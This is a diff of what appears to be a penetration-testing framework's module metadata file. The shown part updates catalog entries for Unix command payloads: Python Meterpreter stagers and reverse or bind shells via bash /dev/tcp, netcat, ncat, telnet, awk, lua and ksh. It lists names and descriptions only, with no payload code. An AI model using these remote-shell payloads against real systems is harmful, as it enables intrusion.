"needs_cleanup": false, "payload_type": 8, @@ -213817,34 +218019,29 @@ "payload_cmd/unix/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213857,9 +218054,7 @@ "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213867,25 +218062,22 @@ "Spencer McIntyre", "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213898,34 +218090,29 @@ "payload_cmd/unix/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213938,34 +218125,29 @@ "payload_cmd/unix/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213978,34 +218160,29 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214018,9 +218195,7 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214029,25 +218204,22 @@ "Ben Campbell ", "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214060,9 +218232,7 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214070,25 +218240,22 @@ "Spencer McIntyre", "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214101,34 +218268,29 @@ "payload_cmd/unix/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nConnect to the victim and spawn a Meterpreter shell", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214139,34 +218301,29 @@ "payload_cmd/unix/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214177,34 +218334,29 @@ "payload_cmd/unix/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214215,34 +218367,29 @@ "payload_cmd/unix/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Spencer McIntyre" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214253,9 +218400,7 @@ "payload_cmd/unix/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", "fullname": "payload/cmd/unix/python/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214263,25 +218408,22 @@ "Spencer McIntyre", "asoto-r7" ], - "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/pingback_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214292,9 +218434,7 @@ "payload_cmd/unix/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214302,25 +218442,22 @@ "Spencer McIntyre", "asoto-r7" ], - "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nConnects back to the attacker, sends a UUID, then terminates", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214331,9 +218468,7 @@ "payload_cmd/unix/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", "fullname": "payload/cmd/unix/python/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214341,25 +218476,22 @@ "Spencer McIntyre", "mumbai" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214370,9 +218502,7 @@ "payload_cmd/unix/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214380,25 +218510,22 @@ "Spencer McIntyre", "RageLtMan " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/shell_reverse_sctp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214409,9 +218536,7 @@ "payload_cmd/unix/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214419,25 +218544,22 @@ "Spencer McIntyre", "Ben Campbell " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214448,9 +218570,7 @@ "payload_cmd/unix/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214458,25 +218578,22 @@ "Spencer McIntyre", "RageLtMan " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/shell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214487,9 +218604,7 @@ "payload_cmd/unix/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214497,25 +218612,22 @@ "Spencer McIntyre", "RageLtMan " ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "description": "Execute a Python payload as an OS command from a Posix-compatible shell.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-05-22 11:47:50 +0000", "path": "/modules/payloads/adapters/cmd/unix/python.rb", "is_install_path": true, "ref_name": "cmd/unix/python/shell_reverse_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214526,9 +218638,7 @@ "payload_cmd/unix/reverse": { "name": "Unix Command Shell, Double Reverse TCP (telnet)", "fullname": "payload/cmd/unix/reverse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214536,24 +218646,21 @@ "hdm " ], "description": "Creates an interactive shell through two inbound connections", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214562,9 +218669,7 @@ "payload_cmd/unix/reverse_awk": { "name": "Unix Command Shell, Reverse TCP (via AWK)", "fullname": "payload/cmd/unix/reverse_awk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214574,24 +218679,21 @@ "Gabriel Quadros " ], "description": "Creates an interactive shell via GNU AWK", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_awk", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214600,34 +218702,29 @@ "payload_cmd/unix/reverse_bash": { "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", "fullname": "payload/cmd/unix/reverse_bash", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "hdm " ], - "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", - "references": [ - - ], + "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-09-30 15:45:40 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_bash", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214636,34 +218733,29 @@ "payload_cmd/unix/reverse_bash_telnet_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (telnet)", "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "RageLtMan " ], - "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", - "references": [ - - ], + "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_bash_telnet_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214672,9 +218764,7 @@ "payload_cmd/unix/reverse_bash_udp": { "name": "Unix Command Shell, Reverse UDP (/dev/udp)", "fullname": "payload/cmd/unix/reverse_bash_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214683,24 +218773,21 @@ "bcoles " ], "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_bash_udp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214709,9 +218796,7 @@ "payload_cmd/unix/reverse_jjs": { "name": "Unix Command Shell, Reverse TCP (via jjs)", "fullname": "payload/cmd/unix/reverse_jjs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214731,15 +218816,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_jjs", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214748,34 +218832,29 @@ "payload_cmd/unix/reverse_ksh": { "name": "Unix Command Shell, Reverse TCP (via Ksh)", "fullname": "payload/cmd/unix/reverse_ksh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "Wang Yihang " ], - "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ksh", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214784,9 +218863,7 @@ "payload_cmd/unix/reverse_lua": { "name": "Unix Command Shell, Reverse TCP (via Lua)", "fullname": "payload/cmd/unix/reverse_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214794,24 +218871,21 @@ "xistence " ], "description": "Creates an interactive shell via Lua", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_lua", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214820,9 +218894,7 @@ "payload_cmd/unix/reverse_ncat_ssl": { "name": "Unix Command Shell, Reverse TCP (via ncat)", "fullname": "payload/cmd/unix/reverse_ncat_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214830,24 +218902,21 @@ "C_Sto" ], "description": "Creates an interactive shell via ncat, utilizing ssl mode", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_ncat_ssl", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214856,9 +218925,7 @@ "payload_cmd/unix/reverse_netcat": { "name": "Unix Command Shell, Reverse TCP (via netcat)", "fullname": "payload/cmd/unix/reverse_netcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214868,24 +218935,21 @@ "juan vazquez " ], "description": "Creates an interactive shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb", "is_install_path": true, "ref_name": "cmd/unix/reverse_netcat", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214894,9 +218958,7 @@ "payload_cmd/unix/reverse_netcat_gaping": { "name": "Unix Command Shell, Reverse TCP (via netcat -e)", "fullname": "payload/cmd/unix/reverse_netcat_gaping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214904,24 +218966,21 @@ 